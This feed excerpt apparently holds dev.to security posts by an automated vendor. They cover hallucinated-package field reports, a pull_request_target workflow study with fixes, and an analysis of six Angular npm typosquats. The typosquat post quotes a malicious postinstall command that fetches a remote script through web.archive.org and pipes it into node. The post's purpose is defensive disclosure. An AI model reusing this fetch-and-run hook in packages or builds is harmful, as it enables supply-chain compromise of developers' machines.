      <link>https://dev.to/mag_solutions_ai/field-report-6949-real-pull-requests-scanned-61-flagged-46-of-our-own-mistakes-fixed-in-public-103g</link>
      <guid>https://dev.to/mag_solutions_ai/field-report-6949-real-pull-requests-scanned-61-flagged-46-of-our-own-mistakes-fixed-in-public-103g</guid>
      <description>&lt;p&gt;We run a security check on public pull requests and publish what it finds — including what it gets wrong. This is the weekly number.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the field looks like this week
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Pull requests analysed&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;6949&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Pull requests where the check flagged something&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;6.1%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dependencies resolved against live PyPI and npm&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;6619&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Distinct package names seen&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;6926&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hallucinated packages confirmed&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Candidates discarded on review&lt;/td&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Candidates still pending review&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sweeps, since 2026-09-04&lt;/td&gt;
&lt;td&gt;28&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;A 404 means a name is not published. It does not mean anyone invented it&lt;/strong&gt; — an unpublished sibling inside a monorepo returns exactly the same 404, and no HTTP request can tell them apart. So a name is counted only once a person has confirmed it, and the discarded and pending counts are published beside the total.&lt;/p&gt;

&lt;p&gt;2 candidate(s) have not been looked at yet and are &lt;strong&gt;not&lt;/strong&gt; in the count above. Uncounted is the default: we would rather say nothing than say something we have not checked.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;None confirmed — and that is not good news for us.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A lot has been written about AI assistants inventing package names. On 6949 real pull requests we have confirmed &lt;strong&gt;none&lt;/strong&gt;, and discarded 21 candidate(s) on review — sibling packages of a monorepo, and configuration keys read as package names.&lt;/p&gt;

&lt;p&gt;We publish this because it partly undercuts one of our own arguments. The laboratory studies that report high hallucination rates measure what a model produces when asked to solve a task. That is a different population from what survives review and reaches a pull request, and the difference matters if you are deciding where to spend attention.&lt;/p&gt;

&lt;h2&gt;
  
  
  Check any of this yourself
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;The raw record: &lt;a href="https://api.magsolutionsai.com/quality" rel="noopener noreferrer"&gt;https://api.magsolutionsai.com/quality&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;The live field figures: &lt;a href="https://api.magsolutionsai.com/measurement" rel="noopener noreferrer"&gt;https://api.magsolutionsai.com/measurement&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;The corpus behind both, with every cited pull request: &lt;a href="https://github.com/MagSolutionsAI/MagSolutionsAI.github.io/tree/main/evidence" rel="noopener noreferrer"&gt;https://github.com/MagSolutionsAI/MagSolutionsAI.github.io/tree/main/evidence&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Written up in full: &lt;a href="https://magsolutionsai.com/quality.html" rel="noopener noreferrer"&gt;https://magsolutionsai.com/quality.html&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;Generated on 2026-10-05 from measurements taken on public repositories. Every figure above is resolved against the endpoints linked here before publishing, and re-checked weekly afterwards — if one stops being true, this article gets a dated correction at the top.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Disclosure: this article was produced automatically by our software agents (an AI model or a report template) from measurements they ran themselves, with no human editorial review before publication (EU AI Act, art. 50). Every figure is re-checked daily against its live source and corrected here if it drifts.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>supplychain</category>
      <category>opensource</category>
      <category>devops</category>
    </item>
    <item>
      <title>Six Angular typosquats, one postinstall hook, published the same morning</title>
      <dc:creator>Mag Solutions</dc:creator>
      <pubDate>Mon, 05 Oct 2026 08:49:19 +0000</pubDate>
      <link>https://dev.to/mag_solutions_ai/six-angular-typosquats-one-postinstall-hook-published-the-same-morning-g3b</link>
      <guid>https://dev.to/mag_solutions_ai/six-angular-typosquats-one-postinstall-hook-published-the-same-morning-g3b</guid>
      <description>&lt;p&gt;On 5 October 2026 — this morning — GitHub's Advisory Database reviewed six npm packages as&lt;br&gt;
malware, all scoped names one edit away from &lt;code&gt;@angular/core&lt;/code&gt; or &lt;code&gt;@angular/cli&lt;/code&gt;:&lt;br&gt;
&lt;a href="https://github.com/advisories/GHSA-8v93-83f6-whc9" rel="noopener noreferrer"&gt;&lt;code&gt;@angupar/core&lt;/code&gt;&lt;/a&gt;,&lt;br&gt;
&lt;a href="https://github.com/advisories/GHSA-jxv9-3rgw-q36v" rel="noopener noreferrer"&gt;&lt;code&gt;@anngular/core&lt;/code&gt;&lt;/a&gt;,&lt;br&gt;
&lt;a href="https://github.com/advisories/GHSA-58jj-ccq3-fxq3" rel="noopener noreferrer"&gt;&lt;code&gt;@abgular/core&lt;/code&gt;&lt;/a&gt;,&lt;br&gt;
&lt;a href="https://github.com/advisories/GHSA-857q-84q8-fxgx" rel="noopener noreferrer"&gt;&lt;code&gt;@anfular/core&lt;/code&gt;&lt;/a&gt;,&lt;br&gt;
&lt;a href="https://github.com/advisories/GHSA-pjc3-f292-727c" rel="noopener noreferrer"&gt;&lt;code&gt;@anguar/core&lt;/code&gt;&lt;/a&gt; and&lt;br&gt;
&lt;a href="https://github.com/advisories/GHSA-65xg-ghmw-cq2c" rel="noopener noreferrer"&gt;&lt;code&gt;@angulaar/cli&lt;/code&gt;&lt;/a&gt;. Every one of them declared&lt;br&gt;
version &lt;code&gt;22.2.1&lt;/code&gt; — which, as of today, is the real, current version of &lt;code&gt;@angular/core&lt;/code&gt; on npm. That&lt;br&gt;
is a change from a campaign we wrote up in September, where four PyPI typosquats claimed version&lt;br&gt;
numbers a release or two behind the real packages. This batch copied the live number.&lt;/p&gt;
&lt;h2&gt;
  
  
  Five names, one script
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Package&lt;/th&gt;
&lt;th&gt;Typo technique&lt;/th&gt;
&lt;th&gt;Advisory&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@angupar/core&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;l&lt;/code&gt; → &lt;code&gt;p&lt;/code&gt; (adjacent keys)&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/advisories/GHSA-8v93-83f6-whc9" rel="noopener noreferrer"&gt;GHSA-8v93-83f6-whc9&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@anngular/core&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;extra &lt;code&gt;n&lt;/code&gt; inserted&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/advisories/GHSA-jxv9-3rgw-q36v" rel="noopener noreferrer"&gt;GHSA-jxv9-3rgw-q36v&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@abgular/core&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;n&lt;/code&gt; → &lt;code&gt;b&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/advisories/GHSA-58jj-ccq3-fxq3" rel="noopener noreferrer"&gt;GHSA-58jj-ccq3-fxq3&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@anfular/core&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;g&lt;/code&gt; → &lt;code&gt;f&lt;/code&gt; (adjacent keys)&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/advisories/GHSA-857q-84q8-fxgx" rel="noopener noreferrer"&gt;GHSA-857q-84q8-fxgx&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@anguar/core&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;l&lt;/code&gt; dropped&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/advisories/GHSA-pjc3-f292-727c" rel="noopener noreferrer"&gt;GHSA-pjc3-f292-727c&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;All five advisories quote the identical &lt;code&gt;postinstall&lt;/code&gt; entry in &lt;code&gt;package.json&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-L&lt;/span&gt; https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file&lt;span class="o"&gt;=&lt;/span&gt;node.js | node
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That pipes an unpinned, unverified script straight into Node the moment &lt;code&gt;npm install&lt;/code&gt; runs — no&lt;br&gt;
import required, no build step, just the act of adding the dependency. The actual payload lives at&lt;br&gt;
a &lt;code&gt;gitflic.ru&lt;/code&gt; project under an account named "hellscripter"; the &lt;code&gt;web.archive.org/web/&lt;/code&gt; prefix in&lt;br&gt;
front of it isn't an accident. Routing the request through the Wayback Machine's live-proxy path&lt;br&gt;
means the request leaves the installing machine addressed to &lt;code&gt;web.archive.org&lt;/code&gt;, a domain most&lt;br&gt;
outbound filters wave through, while the content served is whatever "hellscripter" currently has&lt;br&gt;
posted — swappable at any time, with nothing checked against a hash. Each advisory also notes the&lt;br&gt;
metadata was dressed to match: the author field set to &lt;code&gt;angular&lt;/code&gt;, the repository URL pointing at&lt;br&gt;
&lt;code&gt;github.com/angular/angular&lt;/code&gt;, the README copied from the real project.&lt;/p&gt;

&lt;p&gt;The sixth, &lt;code&gt;@angulaar/cli&lt;/code&gt;, used a different mechanism. Per its advisory&lt;br&gt;
(&lt;a href="https://github.com/advisories/GHSA-65xg-ghmw-cq2c" rel="noopener noreferrer"&gt;GHSA-65xg-ghmw-cq2c&lt;/a&gt;), rather than a&lt;br&gt;
postinstall hook on itself, it declared a dependency on a differently-named, swapped package that&lt;br&gt;
executes during installation — a dependency-confusion step layered under the typosquat, not just a&lt;br&gt;
copy-paste of the same curl command. We're flagging that it's structurally different rather than&lt;br&gt;
describing its internals in detail: the registry state of the swapped dependency today doesn't&lt;br&gt;
cleanly match "freshly published and malicious," and we'd rather say less than overstate what we&lt;br&gt;
verified this session.&lt;/p&gt;
&lt;h2&gt;
  
  
  What's left of them now
&lt;/h2&gt;

&lt;p&gt;All six are gone. We checked directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"%{http_code}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; https://registry.npmjs.org/@angupar%2Fcore
404
&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"%{http_code}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; https://registry.npmjs.org/@anguar%2Fcore
200
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;@anguar/core&lt;/code&gt; is the interesting one — it still resolves, but with zero published versions. The&lt;br&gt;
registry's own timestamps show why: created at 21:58:15 UTC on 4 October, unpublished at 03:19:09&lt;br&gt;
UTC on 5 October — live for roughly five hours before npm pulled the version, leaving an empty&lt;br&gt;
shell behind. npm's download-stats endpoint has no record for any of the five under this report:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://api.npmjs.org/downloads/point/last-week/@angular/core
&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"downloads"&lt;/span&gt;:7285166,&lt;span class="s2"&gt;"start"&lt;/span&gt;:&lt;span class="s2"&gt;"2026-09-27"&lt;/span&gt;,&lt;span class="s2"&gt;"end"&lt;/span&gt;:&lt;span class="s2"&gt;"2026-10-03"&lt;/span&gt;,&lt;span class="s2"&gt;"package"&lt;/span&gt;:&lt;span class="s2"&gt;"@angular/core"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://api.npmjs.org/downloads/point/last-week/@angupar/core
&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"error"&lt;/span&gt;:&lt;span class="s2"&gt;"package @angupar/core not found"&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The real &lt;code&gt;@angular/core&lt;/code&gt; — first published in 2016 — took 7,285,166 downloads in the week ending 3&lt;br&gt;
October. The fakes don't register at all: either genuinely zero, or too few for the endpoint to&lt;br&gt;
report, in a window measured in hours rather than weeks.&lt;/p&gt;

&lt;h2&gt;
  
  
  The check that catches this before install
&lt;/h2&gt;

&lt;p&gt;None of this required reverse-engineering the payload. Every signal was available the moment the&lt;br&gt;
package landed on npm, before GitHub reviewed it: a scoped name one substitution, insertion or&lt;br&gt;
deletion from a dependency already in wide use, published for the first time that day, claiming a&lt;br&gt;
version number that happens to match the real package's current release exactly. That combination —&lt;br&gt;
brand-new, near-identical name, no publish history — is what MagAudit checks for on every pull&lt;br&gt;
request that adds a dependency. It marks it critical on the PR, with the file and line of the&lt;br&gt;
&lt;code&gt;package.json&lt;/code&gt; change; whether that stops the merge depends on whether the team has made the check&lt;br&gt;
required in their own branch protection settings.&lt;/p&gt;

&lt;h2&gt;
  
  
  What this doesn't tell you
&lt;/h2&gt;

&lt;p&gt;The advisories don't say how many times any of the six were downloaded before removal — npm's&lt;br&gt;
public stats endpoint simply has no data for them, which is consistent with near-zero installs but&lt;br&gt;
isn't proof of zero. They don't name who controls the &lt;code&gt;hellscripter&lt;/code&gt; account on &lt;code&gt;gitflic.ru&lt;/code&gt;, or&lt;br&gt;
confirm whether all six names were registered by the same operator or by automated tooling trying&lt;br&gt;
several typo patterns from a shared script. The four advisories where we could read an OSSF source&lt;br&gt;
identifier number them &lt;code&gt;MAL-2026-17533&lt;/code&gt; through &lt;code&gt;MAL-2026-17540&lt;/code&gt; — close enough to suggest one&lt;br&gt;
batch, not proof of it. And we did not analyse the swapped dependency behind &lt;code&gt;@angulaar/cli&lt;/code&gt;&lt;br&gt;
ourselves; we're repeating what its advisory states, not what we independently confirmed.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Disclosure: this article was produced automatically by our software agents (an AI model or a report template) from measurements they ran themselves, with no human editorial review before publication (EU AI Act, art. 50). Every figure is re-checked daily against its live source and corrected here if it drifts.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>javascript</category>
      <category>ai</category>
    </item>
    <item>
      <title>pull_request_target in the wild: 60 public workflows, 6 exploitable, and the fixes that actually work</title>
      <dc:creator>Mag Solutions</dc:creator>
      <pubDate>Mon, 05 Oct 2026 08:49:16 +0000</pubDate>
      <link>https://dev.to/mag_solutions_ai/pullrequesttarget-in-the-wild-60-public-workflows-6-exploitable-and-the-fixes-that-actually-g23</link>
      <guid>https://dev.to/mag_solutions_ai/pullrequesttarget-in-the-wild-60-public-workflows-6-exploitable-and-the-fixes-that-actually-g23</guid>
      <description>&lt;p&gt;&lt;code&gt;pull_request_target&lt;/code&gt; is the GitHub Actions trigger behind a steady stream of&lt;br&gt;
security advisories titled some variant of "secrets exfiltration via&lt;br&gt;
pull_request_target". It runs in the context of the base repository, with its&lt;br&gt;
secrets and a token that can write, even when the pull request comes from a&lt;br&gt;
stranger's fork. On its own that is fine. It becomes a takeover when the&lt;br&gt;
workflow also checks out the contributor's code &lt;strong&gt;and runs it&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;We ship a rule for exactly that combination. Before trusting it, we measured it&lt;br&gt;
on real public workflows: twice, two weeks apart. The results say more about the&lt;br&gt;
fixes people use than about the bug.&lt;/p&gt;

&lt;h2&gt;
  
  
  What makes it exploitable
&lt;/h2&gt;

&lt;p&gt;Three ingredients, all of them needed:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;the &lt;code&gt;pull_request_target&lt;/code&gt; trigger;&lt;/li&gt;
&lt;li&gt;a checkout of the pull request's own code (&lt;code&gt;ref: ${{ github.event.pull_request.head.sha }}&lt;/code&gt; or &lt;code&gt;.head.ref&lt;/code&gt;);&lt;/li&gt;
&lt;li&gt;a step that &lt;strong&gt;executes&lt;/strong&gt; that code: install scripts, a build, the test suite.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;With all three, anyone who can open a pull request runs their code with your&lt;br&gt;
token and secrets. Remove any one and the attack is gone.&lt;/p&gt;

&lt;h2&gt;
  
  
  Measurement 1, 18 September 2026: our rule was wrong half the time
&lt;/h2&gt;

&lt;p&gt;We sampled 30 public workflows that use &lt;code&gt;pull_request_target&lt;/code&gt;. The rule fired on&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;On review, &lt;strong&gt;8 of the 15 were false&lt;/strong&gt;:&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;7 used &lt;code&gt;environment:&lt;/code&gt;&lt;/strong&gt;, the mitigation GitHub documents: the job waits for a
human to approve it before any contributor code runs. Among them were
dbt-labs and puppetlabs, who had it right and had commented it in their own
files.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;1 declared &lt;code&gt;allow-unsafe-pr-checkout: true&lt;/code&gt;&lt;/strong&gt; and ran its scripts from a
second, trusted checkout of the default branch kept in a separate folder
(cpprefjp/site). The contributor's code is read as data, never executed.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Had we opened issues from that first run, we would have told seven well-known&lt;br&gt;
projects they had a critical bug they did not have. We fixed the rule first.&lt;br&gt;
After the fix it fired on 8; we confirmed 5 by hand and still judged 3 false.&lt;/p&gt;

&lt;h2&gt;
  
  
  Measurement 2, 2 October 2026: a fresh sample, and our own miss
&lt;/h2&gt;

&lt;p&gt;A new random sample of 30 public workflows, one per repository. &lt;strong&gt;6 of them&lt;br&gt;
check out the pull request's code.&lt;/strong&gt; Reading each one by hand:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;3 never run it with privileges.&lt;/strong&gt; The privileged trigger only fires when the
pull request is closed, the checkout is the base branch, or the head branch
only appears in a concurrency group name.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2 are gated by a maintainer.&lt;/strong&gt; In ecmwf's cfgrib and thermofeel, a pull
request from a fork only runs once a maintainer adds an &lt;code&gt;approved-for-ci&lt;/code&gt;
label.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;1 is exploitable.&lt;/strong&gt; It checks out the pull request's code, runs &lt;code&gt;dotnet
build&lt;/code&gt; and the tests on it, and grants the token &lt;code&gt;contents: write&lt;/code&gt; and
&lt;code&gt;pull-requests: write&lt;/code&gt;. Anyone who opens a pull request can push to that
repository. We are not naming it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That last one had written &lt;code&gt;allow-unsafe-pr-checkout: true&lt;/code&gt;, and &lt;strong&gt;our rule stayed&lt;br&gt;
silent because of it.&lt;/strong&gt; After the cpprefjp case we had treated that line as a&lt;br&gt;
mitigation. It is not one: &lt;code&gt;actions/checkout&lt;/code&gt; v7 requires it precisely so that&lt;br&gt;
you acknowledge the risk. Declaring a risk does not remove it. We fixed the rule&lt;br&gt;
today: the declaration now only silences it when nothing is executed, or when&lt;br&gt;
what runs comes from a trusted checkout of the base branch.&lt;/p&gt;

&lt;p&gt;Across the two samples: &lt;strong&gt;6 exploitable workflows out of 60 (10%)&lt;/strong&gt;, and roughly&lt;br&gt;
as many that looked dangerous and were safe.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fixes we saw working in real repositories
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Use &lt;code&gt;pull_request&lt;/code&gt; instead.&lt;/strong&gt; If the job needs no secrets, the restricted
context removes the problem entirely.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Gate the job behind an &lt;code&gt;environment:&lt;/code&gt;&lt;/strong&gt; that requires approval (dbt-labs,
puppetlabs).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Make fork pull requests wait for a maintainer label&lt;/strong&gt; (ecmwf).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Read the contributor's code, run your own.&lt;/strong&gt; Check out the base branch into
a separate folder and execute only from there (cpprefjp/site).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Split it in two:&lt;/strong&gt; a &lt;code&gt;pull_request&lt;/code&gt; workflow builds and uploads artifacts, and
a &lt;code&gt;workflow_run&lt;/code&gt; workflow with privileges consumes only those artifacts.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Check your own repositories in one minute
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rln&lt;/span&gt; &lt;span class="s2"&gt;"pull_request_target"&lt;/span&gt; .github/workflows/
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; &lt;span class="s2"&gt;"github.event.pull_request.head"&lt;/span&gt; .github/workflows/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If a file shows up in both, read what runs after the checkout. If it installs,&lt;br&gt;
builds or tests the contributor's code, and there is no environment, no&lt;br&gt;
maintainer gate and no separate trusted checkout, treat it as exposed: rotate&lt;br&gt;
the secrets that workflow can reach and fix the trigger.&lt;/p&gt;

&lt;h2&gt;
  
  
  What this doesn't tell you
&lt;/h2&gt;

&lt;p&gt;Sixty workflows is a sample, not a census, and GitHub code search does not&lt;br&gt;
return a uniform random slice of every repository. The 10% figure says that&lt;br&gt;
the mistake is real and common enough to check for, not how common it is&lt;br&gt;
across GitHub. We judged each case by reading the workflow, not by running an&lt;br&gt;
exploit. Where a repository offers a private channel for vulnerability reports,&lt;br&gt;
we use it; we do not publish who is exposed.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Disclosure: this article was produced automatically by our software agents (an AI model or a report template) from measurements they ran themselves, with no human editorial review before publication (EU AI Act, art. 50). Every figure is re-checked daily against its live source and corrected here if it drifts.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>githubactions</category>
      <category>devops</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Field report: 3734 real pull requests scanned, 0 hallucinated packages confirmed</title>
      <dc:creator>Mag Solutions</dc:creator>
      <pubDate>Mon, 28 Sep 2026 09:37:25 +0000</pubDate>
      <link>https://dev.to/mag_solutions_ai/field-report-3734-real-pull-requests-scanned-0-hallucinated-packages-confirmed-ghn</link>
      <guid>https://dev.to/mag_solutions_ai/field-report-3734-real-pull-requests-scanned-0-hallucinated-packages-confirmed-ghn</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Correction — 03 October 2026.&lt;/strong&gt; Some figures in this article were wrong when we published them: &lt;strong&gt;the mistake was ours&lt;/strong&gt;. We check every number we publish against its source every day, and correct it here.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;quality.correcciones_fijadas_por_prueba&lt;/code&gt;: this article said &lt;strong&gt;83&lt;/strong&gt;; the current measured value is &lt;strong&gt;46&lt;/strong&gt;.
Until 2 October 2026 we counted every regression test in our record as a correction. Many of them actually prove the opposite: that a real problem still fires after a fix. We now publish the two numbers separately.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The live figures are always at &lt;a href="https://api.magsolutionsai.com/measurement" rel="noopener noreferrer"&gt;https://api.magsolutionsai.com/measurement&lt;/a&gt; and &lt;a href="https://api.magsolutionsai.com/quality" rel="noopener noreferrer"&gt;https://api.magsolutionsai.com/quality&lt;/a&gt;. Sorry for the noise.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;We run a security scanner on public pull requests and publish what it finds — including what it gets wrong. This is the weekly number.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the field looks like this week
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Pull requests analysed&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;3734&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dependencies resolved against live PyPI and npm&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;3500&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Distinct package names seen&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;3691&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Hallucinated packages confirmed&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Candidates discarded on review&lt;/td&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Candidates still pending review&lt;/td&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sweeps, since 2026-09-04&lt;/td&gt;
&lt;td&gt;15&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;A 404 means a name is not published. It does not mean anyone invented it&lt;/strong&gt; — an unpublished sibling inside a monorepo returns exactly the same 404, and no HTTP request can tell them apart. So a name is counted only once a person has confirmed it, and the discarded and pending counts are published beside the total.&lt;/p&gt;

&lt;p&gt;12 candidate(s) have not been looked at yet and are &lt;strong&gt;not&lt;/strong&gt; in the count above. Uncounted is the default: we would rather say nothing than say something we have not checked.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Zero confirmed is the headline, and it is not good news for us.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A lot has been written about AI assistants inventing package names. On 3734 real pull requests we have confirmed &lt;strong&gt;none&lt;/strong&gt;, and discarded 6 candidate(s) on review — sibling packages of a monorepo, and configuration keys read as package names.&lt;/p&gt;

&lt;p&gt;We publish this because it partly undercuts one of our own arguments. The laboratory studies that report high hallucination rates measure what a model produces when asked to solve a task. That is a different population from what survives review and reaches a pull request, and the difference matters if you are deciding where to spend attention.&lt;/p&gt;

&lt;h2&gt;
  
  
  Check any of this yourself
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;The raw record: &lt;a href="https://api.magsolutionsai.com/quality" rel="noopener noreferrer"&gt;https://api.magsolutionsai.com/quality&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;The live field figures: &lt;a href="https://api.magsolutionsai.com/measurement" rel="noopener noreferrer"&gt;https://api.magsolutionsai.com/measurement&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;The corpus behind both, with every cited pull request: &lt;a href="https://github.com/MagSolutionsAI/MagSolutionsAI.github.io/tree/main/evidence" rel="noopener noreferrer"&gt;https://github.com/MagSolutionsAI/MagSolutionsAI.github.io/tree/main/evidence&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Written up in full: &lt;a href="https://magsolutionsai.com/quality.html" rel="noopener noreferrer"&gt;https://magsolutionsai.com/quality.html&lt;/a&gt;
&lt;/li&gt;
